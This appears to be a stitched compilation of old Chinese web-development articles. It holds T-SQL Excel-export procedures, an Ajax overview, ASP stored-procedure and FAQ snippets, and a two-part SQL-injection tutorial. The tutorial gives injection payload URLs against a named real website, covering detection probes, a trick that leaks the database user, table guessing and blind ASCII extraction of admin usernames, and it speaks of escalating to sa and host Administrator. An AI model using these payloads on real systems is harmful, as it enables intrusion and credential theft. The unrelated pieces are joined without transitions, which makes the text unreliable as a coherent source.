select @fdlist=@fdlist+',['+a.name+']'
 ,@sql=@sql+',['+a.name+'] '
  +case when b.name in('char','nchar','varchar','nvarchar') then
     'text('+cast(case when a.length>255 then 255 else a.length end as varchar)+')'
   when b.name in('tynyint','int','bigint','tinyint') then 'int'
   when b.name in('smalldatetime','datetime') then 'datetime'
   when b.name in('money','smallmoney') then 'money'
   else b.name end
FROM syscolumns a left join systypes b on a.xtype=b.xusertype
where b.name not in('image','text','uniqueidentifier','sql_variant','ntext','varbinary','binary','timestamp')
 and object_id(@tbname)=id
select @sql='create table ['+@tbname
 +']('+substring(@sql,2,8000)+')'
 ,@fdlist=substring(@fdlist,2,8000)
exec @err=sp_oamethod @obj,'execute',@out out,@sql
if @err<>0 goto lberr

exec @err=sp_oadestroy @obj

--导入数据
set @sql='openrowset(''MICROSOFT.JET.OLEDB.4.0'',''Excel 5.0;HDR=YES
   ;DATABASE='+@path+@fname+''',['+@tbname+'$])'

exec('insert into '+@sql+'('+@fdlist+') select '+@fdlist+' from '+@tbname)

return

lberr:
 exec sp_oageterrorinfo 0,@src out,@desc out
lbexit:
 select cast(@err as varbinary(4)) as 错误号
  ,@src as 错误源,@desc as 错误描述
 select @sql,@constr,@fdlist
go
--上面是导表的,下面是导查询语句的.

/*--数据导出EXCEL
 
 导出查询中的数据到Excel,包含字段名,文件为真正的Excel文件
 ,如果文件不存在,将自动创建文件
 ,如果表不存在,将自动创建表
 基于通用性考虑,仅支持导出标准数据类型
--邹建 2003.10--*/

/*--调用示例

 p_exporttb @sqlstr='select * from 地区资料'
  ,@path='c:',@fname='aa.xls',@sheetname='地区资料'
--*/
if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[p_exporttb]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)
drop procedure [dbo].[p_exporttb]
GO

create proc p_exporttb
@sqlstr varchar(8000),   --查询语句,如果查询语句中使用了order by ,请加上top 100 percent
@path nvarchar(1000),   --文件存放目录
@fname nvarchar(250),   --文件名
@sheetname varchar(250)=''  --要创建的工作表名,默认为文件名
as
declare @err int,@src nvarchar(255),@desc nvarchar(255),@out int
declare @obj int,@constr nvarchar(1000),@sql varchar(8000),@fdlist varchar(8000)

--参数检测
if isnull(@fname,'')='' set @fname='temp.xls'
if isnull(@sheetname,'')='' set @sheetname=replace(@fname,'.','#')

--检查文件是否已经存在
if right(@path,1)<>'' set @path=@path+''
create table #tb(a bit,b bit,c bit)
set @sql=@path+@fname
insert into #tb exec master..xp_fileexist @sql

--数据库创建语句
set @sql=@path+@fname
if exists(select 1 from #tb where a=1)
 set @constr='DRIVER={Microsoft Excel Driver (*.xls)};DSN='''';READONLY=FALSE'
       +';CREATE_DB="    +';DATABASE='+@sql+'"'

--连接数据库
exec @err=sp_oacreate 'adodb.connection',@obj out
if @err<>0 goto lberr

exec @err=sp_oamethod @obj,'open',null,@constr
if @err<>0 goto lberr

--创建表的SQL
declare @tbname sysname
set @tbname='##tmp_'+convert(varchar(38),newid())
set @sql='select * into ['+@tbname+'] from('+@sqlstr+') a'
exec(@sql)

select @sql='',@fdlist=''
select @fdlist=@fdlist+',['+a.name+']'
 ,@sql=@sql+',['+a.name+'] '
  +case when b.name in('char','nchar','varchar','nvarchar') then
     'text('+cast(case when a.length>255 then 255 else a.length end as varchar)+')'
   when b.name in('tynyint','int','bigint','tinyint') then 'int'
   when b.name in('smalldatetime','datetime') then 'datetime'
   when b.name in('money','smallmoney') then 'money'
   else b.name end
FROM tempdb..syscolumns a left join tempdb..systypes b on a.xtype=b.xusertype
where b.name not in('image','text','uniqueidentifier','sql_variant','ntext','varbinary','binary','timestamp')
 and a.id=(select id from tempdb..sysobjects where name=@tbname)
select @sql='create table ['+@sheetname
 +']('+substring(@sql,2,8000)+')'
 ,@fdlist=substring(@fdlist,2,8000)

exec @err=sp_oamethod @obj,'execute',@out out,@sql
if @err<>0 goto lberr

exec @err=sp_oadestroy @obj

--导入数据
set @sql='openrowset(''MICROSOFT.JET.OLEDB.4.0'',''Excel 5.0;HDR=YES
   ;DATABASE='+@path+@fname+''',['+@sheetname+'$])'

exec('insert into '+@sql+'('+@fdlist+') select '+@fdlist+' from ['+@tbname+']')

set @sql='drop table ['+@tbname+']'
exec(@sql)
return

lberr:
 exec sp_oageterrorinfo 0,@src out,@desc out
lbexit:
 select cast(@err as varbinary(4)) as 错误号
  ,@src as 错误源,@desc as 错误描述
 select @sql,@constr,@fdlist
go

 什么是ajax?有没有哪位开始学习这个了。这两天我在构思做一个个人网站,免费空间的。用简单的脚本语言做没动力,asp.net免费空间基本上没有,有的话也不支持编译版本的。所以想用XML+javascript做无刷新的页面,google了一下,发现ajax相当热门(今天才知道,真是很孤陋寡闻了)。大家有这方面的心得发表一下啦,相互学习嘛。

关于什么是ajax,我找到这些。


    Ajax是Asynchronous JavaScript and XML的简称,它表现出一个Web开发上的根本转变,那就是,Web上可能做些什么........
    Ajax不是一个技术,它实际上是几种技术,每种技术都有其独特这处,合在一起就成了一个功能强大的新技术。Ajax包括:
XHTML和CSS
使用文档对象模型(Document Object Model)作动态显示和交互
使用XML和XSLT做数据交互和操作
使用XMLHttpRequest进行异步数据接收
使用JavaScript将它们绑定在一起
    Ajax理念的出现,揭开了无刷新更新页面时代的序幕,并有代替传统web开发中采用form(表单)递交方式更新web页面的趋势,可以算是一个里程碑。但Ajax都不是适用于所有地方的,它的适用范围是由它的特性所决定的。它的特性主要有:
  1、按需取数据。页面不读取无用的冗余数据,而是在用户操作过程中的某项交互需要某部分数据时才会向服务器发送请求。
  2、无刷新更新页面。客户端利用XMLHTTP发送请求得到服务端应答数据,在不重新载入整个页面的情况下用JavaScript操作DOM最终更新页面。
  3、预读功能也可以通过Ajax实现,但并不是Ajax的优势所在,它的主要优势还是在交互方面。

  Ajax带来的正面效果:
    1、减轻服务器的负担。因为Ajax的根本理念是“按需取数据”,所以最大可能在减少了冗余请求和响影对服务器造成的负担。
    2、减少用户实际和心理等待时间。
.......................
简直太多,有兴趣google一下可以找到更多。

    目前,ajax的应用也越来越多,Gmail, Google Groups,  MSN Spaces,  Google Suggest, Google Maps, MSN Virtual Earth...........
    就连软件巨头微软也在打造代号为Atlas的软件工具,向开发者提供易于AJAX类型应用程序开发的工具。这一开发工具早期版本将于今年9月份在洛杉矶举行的微软开发者大会上推出。开发者可以通过微软Visual Studio 2005开发工具和Web开发构架ASP.Net 2.0使用Atlas软件工具,这两个产品预计将在今年11月份面世。
    对Ajax有兴趣的并非只有微软公司。Sun公司资助的NetBeans开放源代码Java工具项目也正在开发一种Ajax风格的编程工具。jsp方面,也有了AJAX Tag Library,包含一套JSP 标签,能够让你更简单的在jsp页面中使用AJAX技术。标签库为比较通用的AJAX功能提供了5个标签:
autocomplete: retrieves a list of values that matches the string entered in a text form field as the user types
callout:displays a callout or popup balloon, anchored to an HTML element with an onclick event
Select/dropdown: based on a selection within a dropdown field, a second select field will be populated
toggle: switches a hidden form field between true and false and at the same time switches an image between two sources
update field: updates one or more form field values based on response to text entered in another field

    看来,ajax是web应用开发的发展 qi 势了。


    Google近日公开了该网站AJAX应用的部分源代码。首先公开的是Google AJAXSLT库的源码。
下载地址:http://goog-ajaxslt.sourceforge.net/
    其他基于JavaScript的XSLT实现还包括:
     The XSLT/JavaScript Interface in Gecko
     XJL: The eXtendable Javascript Library


学习使用存储过程(Stored Procedure),是ASP程序员的必须课之一。所有的大型数据库都支持存储过程,比如Oracle、MS SQL等,(但MS Access不支持,不过,在Access里可以使用参数化的查询)。
使用存储过程有许多好处,它可以封装复杂的数据逻辑,充分发挥大型数据库本身的优势。我们知道,ASP并不适合做复杂的数据运算,而通过OLD DB访问数据库,由于数据需要在ASP和数据库之间传递,相当消耗系统资源。事实上,如果数据库仅仅起着数据存储的作用,那么它的功能是远远没有得到利用的。
关于如何创建存储过程,请参考MS SQL的相关文档。
本文介绍存储过程如何在ASP中运用。
简单的一个SQL语句:
select ID,Name,Picture,Time,Duty from employ
我们可以创建一个存储过程:

CREATE PROCEDURE sp_employ
AS
select ID,Name,Picture,Time,Duty from employ
Go
 


而SQL语句:
select ID,Name,Picture,Time,Duty from employ where ID=10230
对应的存储过程是:(用Alter替换我们已有的存储过程)

ALTER PROCEDURE sp_employ
@inID  int
AS
select ID,Name,Picture,Time,Duty from employ  where ID=@inID

Go
 


下面对比一下SQL和存储过程在ASP中的情况。首先看看直接执行SQL的情况:

<%
dim Conn, strSQL, rs
set Conn = Server.CreateObject("ADODB.Connection")
Conn.Open  "DSN=webData;uid=user;pwd=password"
strSQL = " select ID,Name,Picture,Time,Duty from employ "
Set rs = Conn.Execute(strSQL)
%>


再看看如何执行Stored Procedure:

<%
dim Conn, strSQL, rs
set Conn = Server.CreateObject("ADODB.Connection")
Conn.Open  "DSN=webData;uid=user;pwd=password" ’make connection
strSQL = "sp_employ"
Set rs = Conn.Execute(strSQL)
%>


而执行带参数的Stored Procedure也是相当类似的:

<%
dim Conn, strSQL, rs, myInt
myInt = 1
set Conn = Server.CreateObject("ADODB.Connection")
Conn.Open  "DSN=webData;uid=user;pwd=password"
strSQL = "sp_myStoredProcedure " & myInt
Set rs = Conn.Execute(strSQL)
%>


你可能觉得在ASP中使用存储过程原来是这样的简单。对!就是这么简单。

计算字符的大小
len()是一个字算一个,一个字母也一个
lenb()是字母和字都是两个
function getlen(str)
  n=0
  for i=1 to len(str)
    charasc=asc(mid(str,i,1))
    if ((charasc<127) and (charasc>=32)) then n=n+1 else n=n+2
  next
  getlen=n
end function

1.如何用Asp判断你的网站的虚拟物理路径
  答:使用Mappath方法
  < p align="center" >< font size="4" face="Arial" >< b >
  The Physical path to this virtual website is:
  < /b >< /font >
  < font color="#FF0000" size="6" face="Arial" >
  < %= Server.MapPath("\")% >
  < /font >< /p >
2.我如何知道使用者所用的浏览器?
  答:使用the Request object方法
  strBrowser=Request.ServerVariables("HTTP_USER_AGENT")
  If Instr(strBrowser,"MSIE") < > 0 Then
    Response.redirect("ForMSIEOnly.htm")
  Else
    Response.redirect("ForAll.htm")
  End If

3.如何计算每天的平均反复访问人数
  答:解决方法
  < % startdate=DateDiff("d",Now,"01/01/1990")
  if strdate< 0 then startdate=startdate*-1
  avgvpd=Int((usercnt)/startdate) % >
  显示结果
  < % response.write(avgvpd) % >
  that is it.this page have been viewed since November 10,1998

4.如何显示随机图象
  < % dim p,ppic,dpic
  ppic=12
  randomize
  p=Int((ppic*rnd)+1)
  dpic="graphix/randompics/"&p&".gif"
  % >
  显示
  < img src="< %=dpic% >" >

5.如何回到先前的页面
  答:< a href="< %=request.serverVariables("Http_REFERER")% >"
>preivous page< /a >
  或用图片如:< img src="arrowback.gif" alt="< %=request.
serverVariables("HTTP_REFERER")% >" >

6.如何确定对方的IP地址
  答:< %=Request.serverVariables("REMOTE_ADDR)% >

7.如何链结到一副图片上
  答:< % @Languages=vbscript % >
  < % response.expires=0
  strimagename="graphix/errors/erroriamge.gif"
  response.redirect(strimagename)
  % >

8.强迫输入密码对话框
  答:把这句话放载页面的开头
  < % response.status="401 not Authorized"
  response.end
  % >

9.如何传递变量从一页到另一页
  答:用 HIDDEN 类型来传递变量
  < % form method="post" action="mynextpage.asp" >
  < % for each item in request.form % >
  < input namee="< %=item% >" type="HIDDEN"
  value="< %=server.HTMLEncode(Request.form(item)) % >" >
  < % next % >
  < /form >

10.为何我在 asp 程序内使用 msgbox,程序出错说没有权限
  答:由于 asp 是服务器运行的,如果可以在服务器显示一个对话框,那么你
只好等有人按了确定之后,你的程序才能继续执行,而一般服务器不会有人守着,
所以微软不得不禁止这个函数,并胡乱告诉你 (:) 呵呵) 没有权限。但是ASP和客
户端脚本结合倒可以显示一个对话框,as follows:
  < % yourVar="测试对话框"% >
  < % script language='javascript' >
  alert("< %=yourvar% >")
  < /script >

11.有没有办法保护自己的源代码,不给人看到
  答:可以去下载一个微软的Windows Script Encoder,它可以对asp的脚本和
客户端javascript/vbscript脚本进行加密。。。不过客户端加密后,只有ie5才能
执行,服务器端脚本加密后,只有服务器上安装有script engine 5(装一个ie5就
有了)才能执行。

12.怎样才能将 query string 从一个 asp 文件传送到另一个?
  答:前者文件加入下句: Response.Redirect("second.asp?" & Request.
ServerVariables("QUERY_STRING"))

13.global.asa文件总是不起作用?
  答:只有web目录设置为web application, global.asa才有效,并且一个
web application的根目录下 global.asa才有效。IIS4可以使用Internet Service
 Manager设置application setting 怎样才能使得htm文件如同asp文件一样可以执
行脚本代码?

14.怎样才能使得htm文件如同asp文件一样可以执行脚本代码?
  答:Internet Sevices Manager - > 选择default web site - >右鼠键- >菜
单属性-〉主目录- > 应用程序设置(Application Setting)- > 点击按钮 "配置
"- > app mapping - >点击按钮"Add" - > executable browse选择
\WINNT\SYSTEM32\INETSRV\ASP.DLL EXTENSION 输入 htm method exclusions 输
入PUT.DELETE 全部确定即可。但是值得注意的是这样对htm也要由asp.dll处理,
效率将降低。

15.如何注册组件
  答:有两种方法。
  第一种方法:手工注册 DLL 这种方法从IIs 3.0一直使用到IIs 4.0和其它的
Web Server。它需要你在命令行方式下来执行,进入到包含有DLL的目录,并输入
:regsvr32 component_name.dll 例如 c:\temp\regsvr32 AspEmail.dll 它会把
dll的特定信息注册入服务器中的注册表中。然后这个组件就可以在服务器上使用
了,但是这个方法有一个缺陷。当使用这种方法注册完毕组件后,该组件必须要相
应的设置NT的匿名帐号有权限执行这个dll。特别是一些组件需要读取注册表,所
以,这个注册组件的方法仅仅是使用在服务器上没有MTS的情况下,要取消注册这
个dll,使用:regsvr32 /u aspobject.dll example c:\temp\regsvr32 /u
aneiodbc.dll

第二种方法:使用MTS(Microsoft Transaction Server) MTS是IIS 4新增特色,但
是它提供了巨大的改进。MTS允许你指定只有有特权的用户才能够访问组件,大大
提高了网站服务器上的安全性设置。在MTS上注册组件的步骤如下:
  1) 打开IIS管理控制台。
  2) 展开transaction server,右键单击"pkgs installed"然后选择"new
package"。
  3) 单击"create an empty package"。
  4) 给该包命名。
  5) 指定administrator帐号或则使用"interactive"(如果服务器经常是使用
administrator 登陆的话)。
  6) 现在使用右键单击你刚建立的那个包下面展开后的"components"。选择
"new then component"。
  7) 选择 "install new component" [b]。
  8) 找到你的.dll文件然后选择next到完成。
  要删除这个对象,只要选择它的图标,然后选择delete。
  附注:特别要注意第二种方法,它是用来调试自己编写组件的最好方法,而不
必每次都需要重新启动机器了。

16. ASP与Access数据库连接:

<%@ language=VBscript%>
  <%
  dim conn,mdbfile
  mdbfile=server.mappath("数据库名称.mdb")
  set conn=server.createobject("adodb.connection")
  conn.open "driver={microsoft access driver (*.mdb)};uid=admin;pwd=数
据库密码;dbq="&mdbfile

%>

17. ASP与SQL数据库连接:

<%@ language=VBscript%>
  <%
  dim conn
  set conn=server.createobject("ADODB.connection")
  con.open "PROVIDER=SQLOLEDB;DATA SOURCE=SQL服务器名称或IP地址;
UID=sa;PWD=数据库密码;DATABASE=数据库名称
  %>

建立记录集对象:

set rs=server.createobject("adodb.recordset")
  rs.open SQL语句,conn,3,2


  18. SQL常用命令使用方法:

(1) 数据记录筛选:

sql="select * from 数据表 where 字段名=字段值 order by 字段名 [desc]"

sql="select * from 数据表 where 字段名 like '%字段值%' order by 字段名
[desc]"

sql="select top 10 * from 数据表 where 字段名 order by 字段名 [desc]"

sql="select * from 数据表 where 字段名 in ('值1','值2','值3')"

sql="select * from 数据表 where 字段名 between 值1 and 值2"

(2) 更新数据记录:

sql="update 数据表 set 字段名=字段值 where 条件表达式"

sql="update 数据表 set 字段1=值1,字段2=值2 …… 字段n=值n where 条件表达
式"

(3) 删除数据记录:

sql="delete from 数据表 where 条件表达式"

sql="delete from 数据表" (将数据表所有记录删除)

(4) 添加数据记录:

sql="insert into 数据表 (字段1,字段2,字段3 …) valuess (值1,值2,值3 …)"


sql="insert into 目标数据表 select * from 源数据表" (把源数据表的记录添
加到目标数据表)

(5) 数据记录统计函数:

AVG(字段名) 得出一个表格栏平均值
  COUNT(*|字段名) 对数据行数的统计或对某一栏有值的数据行数统计
  MAX(字段名) 取得一个表格栏最大的值
  MIN(字段名) 取得一个表格栏最小的值
  SUM(字段名) 把数据栏的值相加

引用以上函数的方法:

sql="select sum(字段名) as 别名 from 数据表 where 条件表达式"
  set rs=conn.excute(sql)

用 rs("别名") 获取统的计值,其它函数运用同上。

(5) 数据表的建立和删除:

CREATE TABLE 数据表名称(字段1 类型1(长度),字段2 类型2(长度) …… )

例:CREATE TABLE tab01(name varchar(50),datetime default now())

DROP TABLE 数据表名称 (永久性删除一个数据表)

19. 记录集对象的方法:

rs.movenext 将记录指针从当前的位置向下移一行
  rs.moveprevious 将记录指针从当前的位置向上移一行
  rs.movefirst 将记录指针移到数据表第一行
  rs.movelast 将记录指针移到数据表最后一行
  rs.absoluteposition=N 将记录指针移到数据表第N行
  rs.absolutepage=N 将记录指针移到第N页的第一行
  rs.pagesize=N 设置每页为N条记录
  rs.pagecount 根据 pagesize 的设置返回总页数
  rs.recordcount 返回记录总数
  rs.bof 返回记录指针是否超出数据表首端,true表示是,false为否
  rs.eof 返回记录指针是否超出数据表末端,true表示是,false为否
  rs.delete 删除当前记录,但记录指针不会向下移动
  rs.addnew 添加记录到数据表末端
  rs.update 更新数据表记录

20 Recordset对象方法

Open方法

recordset.Open Source,ActiveConnection,CursorType,LockType,Options

Source
  Recordset对象可以通过Source属性来连接Command对象。Source参数可以是一
个Command对象名称、一段SQL命令、一个指定的数据表名称或是一个Stored
Procedure。假如省略这个参数,系统则采用Recordset对象的Source属性。

ActiveConnection
  Recordset对象可以通过ActiveConnection属性来连接Connection对象。这里
的ActiveConnection可以是一个Connection对象或是一串包含数据库连接信息(
ConnectionString)的字符串参数。

CursorType
  Recordset对象Open方法的CursorType参数表示将以什么样的游标类型启动数
据,包括adOpenForwardOnly、adOpenKeyset、adOpenDynamic及adOpenStatic,分
述如下:
  --------------------------------------------------------------
  常数 常数值 说明
  -------------------------------------------------------------
  adOpenForwardOnly 0 缺省值,启动一个只能向前移动的游标(Forward
Only)。
  adOpenKeyset 1 启动一个Keyset类型的游标。
  adOpenDynamic 2 启动一个Dynamic类型的游标。
  adOpenStatic 3 启动一个Static类型的游标。
  -------------------------------------------------------------
  以上几个游标类型将直接影响到Recordset对象所有的属性和方法,以下列表
说明他们之间的区别。

-------------------------------------------------------------
  Recordset属性 adOpenForwardOnly adOpenKeyset adOpenDynamic
adOpenStatic
  -------------------------------------------------------------
  AbsolutePage 不支持 不支持 可读写 可读写
  AbsolutePosition 不支持 不支持 可读写 可读写
  ActiveConnection 可读写 可读写 可读写 可读写
  BOF 只读 只读 只读 只读
  Bookmark 不支持 不支持 可读写 可读写
  CacheSize 可读写 可读写 可读写 可读写
  CursorLocation 可读写 可读写 可读写 可读写
  CursorType 可读写 可读写 可读写 可读写
  EditMode 只读 只读 只读 只读
  EOF 只读 只读 只读 只读
  Filter 可读写 可读写 可读写 可读写
  LockType 可读写 可读写 可读写 可读写
  MarshalOptions 可读写 可读写 可读写 可读写
  MaxRecords 可读写 可读写 可读写 可读写
  PageCount 不支持 不支持 只读 只读
  PageSize 可读写 可读写 可读写 可读写
  RecordCount 不支持 不支持 只读 只读
  Source 可读写 可读写 可读写 可读写
  State 只读 只读 只读 只读
  Status 只读 只读 只读 只读
  AddNew 支持 支持 支持 支持
  CancelBatch 支持 支持 支持 支持
  CancelUpdate 支持 支持 支持 支持
  Clone 不支持 不支持
  Close 支持 支持 支持 支持
  Delete 支持 支持 支持 支持
  GetRows 支持 支持 支持 支持
  Move 不支持 支持 支持 支持
  MoveFirst 支持 支持 支持 支持
  MoveLast 不支持 支持 支持 支持
  MoveNext 支持 支持 支持 支持
  MovePrevious 不支持 支持 支持 支持
  NextRecordset 支持 支持 支持 支持
  Open 支持 支持 支持 支持
  Requery 支持 支持 支持 支持
  Resync 不支持 不支持 支持 支持
  Supports 支持 支持 支持 支持
  Update 支持 支持 支持 支持
  UpdateBatch 支持 支持 支持 支持
  --------------------------------------------------------------
  其中NextRecordset方法并不适用于Microsoft Access数据库。

LockType
  Recordset对象Open方法的LockType参数表示要采用的Lock类型,如果忽略这
个参数,那么系统会以Recordset对象的LockType属性为预设值。LockType参数包
含adLockReadOnly、adLockPrssimistic、adLockOptimistic及
adLockBatchOptimistic等,分述如下:

-------------------------------------------------------------
  常数 常数值 说明
  --------------------------------------------------------------
  adLockReadOnly 1 缺省值,Recordset对象以只读方式启动,无法运行
AddNew、Update及Delete等方法
  adLockPrssimistic 2 当数据源正在更新时,系统会暂时锁住其他用户的动作
,以保持数据一致性。
  adLockOptimistic 3 当数据源正在更新时,系统并不会锁住其他用户的动作
,其他用户可以对数据进行增、删、改的操作。
  adLockBatchOptimistic 4 当数据源正在更新时,其他用户必须将
CursorLocation属性改为adUdeClientBatch才能对数据进行增、删、改的操作。
SQL注入漏洞全接触--入门篇 [1]

引  言

        随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。

SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。

但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。

根据国情,国内的网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。在本文,我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧,PHP注入的文章由NB联盟的另一位朋友zwell撰写,希望对安全工作者和程序员都有用处。了解ASP注入的朋友也请不要跳过入门篇,因为部分人对注入的基本判断方法还存在误区。大家准备好了吗?Let's Go...

入 门 篇

 如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。

第一节、SQL注入原理

以下我们从一个网站www.19cn.com开始(注:本文发表前已征得该站站长同意,大部分都是真实数据)。

在网站首页上,有名为“IE不能打开新窗口的多种解决方法”的链接,地址为:http://www.19cn.com/showdetail.asp?id=49,我们在这个地址后面加上单引号’,服务器会返回下面的错误提示:

Microsoft JET Database Engine 错误 '80040e14'
字符串的语法错误 在查询表达式 'ID=49'' 中。
/showdetail.asp,行8

从这个错误提示我们能看出下面几点:

1.网站使用的是Access数据库,通过JET引擎连接数据库,而不是通过ODBC。
2.程序没有判断客户端提交的数据是否符合程序要求。
3.该SQL语句所查询的表中有一名为ID的字段。

从上面的例子我们可以知道,SQL注入的原理,就是从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取你想到得到的资料。

第二节、判断能否进行SQL注入

看完第一节,有一些人会觉得:我也是经常这样测试能否注入的,这不是很简单吗?其实,这并不是最好的方法,为什么呢?

首先,不一定每台服务器的IIS都返回具体错误提示给客户端,如果程序中加了cint(参数)之类语句的话,SQL注入是不会成功的,但服务器同样会报错,具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。

其次,部分对SQL注入有一点了解的程序员,认为只要把单引号过滤掉就安全了,这种情况不为少数,如果你用单引号测试,是测不到注入点的

那么,什么样的测试方法才是比较准确呢?答案如下:

 ① http://www.19cn.com/showdetail.asp?id=49
http://www.19cn.com/showdetail.asp?id=49 and 1=1
http://www.19cn.com/showdetail.asp?id=49 and 1=2

这就是经典的1=1、1=2测试法了,怎么判断呢?看看上面三个网址返回的结果就知道了:

可以注入的表现:

① 正常显示(这是必然的,不然就是程序有错误了)
② 正常显示,内容基本与①相同
③ 提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了on error resume next)

不可以注入就比较容易判断了,①同样正常显示,②和③一般都会有程序定义的错误提示,或提示类型转换时出错。

当然,这只是传入参数是数字型的时候用的判断方法,实际应用的时候会有字符型和搜索型参数,我将在中级篇的“SQL注入一般步骤”再做分析。

第三节、判断数据库类型及注入方法

不同的数据库的函数、注入方法都是有差异的,所以在注入之前,我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer,网上超过99%的网站都是其中之一。

怎么让程序告诉你它使用的什么数据库呢?来看看:

SQLServer有一些系统变量,如果服务器IIS提示没关闭,并且SQLServer返回错误提示的话,那可以直接从出错信息获取,方法如下:

http://www.19cn.com/showdetail.asp?id=49 and user>0

这句语句很简单,但却包含了SQLServer特有注入方法的精髓,我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义:首先,前面的语句是正常的,重点在and user>0,我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示是:将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误,呵呵,abc正是变量user的值,这样,不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里,大家会看到很多用这种方法的语句。

 顺便说几句,众所周知,SQLServer的用户sa是个等同Adminstrators权限的角色,拿到了sa权限,几乎肯定可以拿到主机的Administrator了。上面的方法可以很方便的测试出是否是用sa登录,要注意的是:如果是sa登录,提示是将”dbo”转换成int的列发生错误,而不是”sa”。

如果服务器IIS不允许返回错误提示,那怎么判断数据库类型呢?我们可以从Access和SQLServer和区别入手,Access和SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。

在确认可以注入的情况下,使用下面的语句:

http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from sysobjects)>0
http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from msysobjects)>0

如果数据库是SQLServer,那么第一个网址的页面与原页面http://www.19cn.com/showdetail.asp?id=49是大致相同的;而第二个网址,由于找不到表msysobjects,会提示出错,就算程序有容错处理,页面也与原页面完全不同。

如果数据库用的是Access,那么情况就有所不同,第一个网址的页面与原页面完全不同;第二个网址,则视乎数据库设置是否允许读该系统表,一般来说是不允许的,所以与原网址也是完全不同。大多数情况下,用第一个网址就可以得知系统所用的数据库类型,第二个网址只作为开启IIS错误提示时的验证。

说明:使用NBSI-NB联盟SQL注入分析器可以检测出各种SQL注入漏洞并进行解码,提高猜解效率.


SQL注入漏洞全接触--进阶篇 [2]

在入门篇,我们学会了SQL注入的判断方法,但真正要拿到网站的保密内容,是远远不够的。接下来,我们就继续学习如何从数据库中获取想要获得的内容,首先,我们先看看SQL注入的一般步骤:

第一节、SQL注入的一般步骤

首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。

其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种:

(A)  ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
Select * from 表名 where 字段=49
注入的参数为ID=49 And [查询条件],即是生成语句:
Select * from 表名 where 字段=49 And [查询条件]

(B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:
Select * from 表名 where 字段=’连续剧’
注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:
Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’

(C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
Select * from 表名 where 字段like ’%关键字%’
注入的参数为keyword=’ and [查询条件] and ‘%25’=’, 即是生成语句:
Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’

接着,将查询条件替换成SQL语句,猜解表名,例如:

ID=49 And (Select Count(*) from Admin)>=0

如果页面就与ID=49的相同,说明附加条件成立,即表Admin存在,反之,即不存在(请牢记这种方法)。如此循环,直至猜到表名为止。

表名猜出来后,将Count(*)替换成Count(字段名),用同样的原理猜解字段名。

有人会说:这里有一些偶然的成分,如果表名起得很复杂没规律的,那根本就没得玩下去了。说得很对,这世界根本就不存在100%成功的黑客技术,苍蝇不叮无缝的蛋,无论多技术多高深的黑客,都是因为别人的程序写得不严密或使用者保密意识不够,才有得下手。

有点跑题了,话说回来,对于SQLServer的库,还是有办法让程序告诉我们表名及字段名的,我们在高级篇中会做介绍。

最后,在表名和列名猜解成功后,再使用SQL语句,得出字段的值,下面介绍一种最常用的方法-Ascii逐字解码法,虽然这种方法速度很慢,但肯定是可行的方法。

我们举个例子,已知表Admin中存在username字段,首先,我们取第一条记录,测试长度:

http://www.19cn.com/showdetail.asp?id=49 and (select top 1 len(username) from Admin)>0

先说明原理:如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>7成立,>8不成立,就是len(username)=8

当然没人会笨得从0,1,2,3一个个测试,怎么样才比较快就看各自发挥了。在得到username的长度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码,比如:

id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0

同样也是用逐步缩小范围的方法得到第1位字符的ASCII码,注意的是英文和数字的ASCII码在1-128之间,可以用折半法加速猜解,如果写成程序测试,效率会有极大的提高。

第二节、SQL注入常用函数

有SQL语言基础的人,在SQL注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的SQL水平,特别是一些常用的函数及命令。

Access:asc(字符)  SQLServer:unicode(字符)
作用:返回某字符的ASCII码

Access:chr(数字)  SQLServer:nchar(数字)
作用:与asc相反,根据ASCII码返回字符

Access:mid(字符串,N,L)  SQLServer:substring(字符串,N,L)
